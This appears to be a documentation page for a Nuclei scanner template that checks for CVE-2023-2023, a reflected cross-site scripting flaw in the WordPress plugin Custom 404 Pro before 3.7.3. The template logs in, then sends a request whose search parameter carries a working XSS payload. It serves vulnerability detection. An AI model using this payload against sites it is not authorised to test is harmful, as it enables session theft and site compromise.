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Custom 404 Pro < 3.7.3 - Cross-Site Scripting

ID: CVE-2023-2023

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,wpscan,xss,wordpress,wp-plugin,authenticated,custom-404-pro,intrusive,kunalnagar

Description

Section titled “Description”

Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2023-2023


info:
  name: Custom 404 Pro < 3.7.3 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 3.7.3
  reference:
    - https://wpscan.com/vulnerability/8859843a-a8c2-4f7a-8372-67049d6ea317
    - https://wordpress.org/plugins/custom-404-pro/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2023
    - https://github.com/GREENHAT7/pxplan
    - https://github.com/thatformat/Hvv2023
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2023
    cwe-id: CWE-79
    epss-score: 0.00302
    epss-percentile: 0.69552
    cpe: cpe:2.3:a:kunalnagar:custom_404_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: kunalnagar
    product: custom_404_pro
    framework: wordpress
  tags: cve2023,cve,wpscan,xss,wordpress,wp-plugin,authenticated,custom-404-pro,intrusive,kunalnagar


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=c4p-main&s={{randstr}}%22%20style=animation-name:rotation%20onanimationstart=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(content_type_2, "text/html")
          - contains(body_2, "onanimationstart=alert(document.domain)//")
          - contains(body_2, "Custom 404 Pro")
        condition: and
# digest: 4a0a00473045022100d31d34bf66babd37e31044e6e2eaf2084972b12fc8937466ebd579bd4ea310970220025a0e903b802a868344d72c73d3a7664fb2dfde5c341883a6125483c33e4351:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-2023.yaml"

View on Github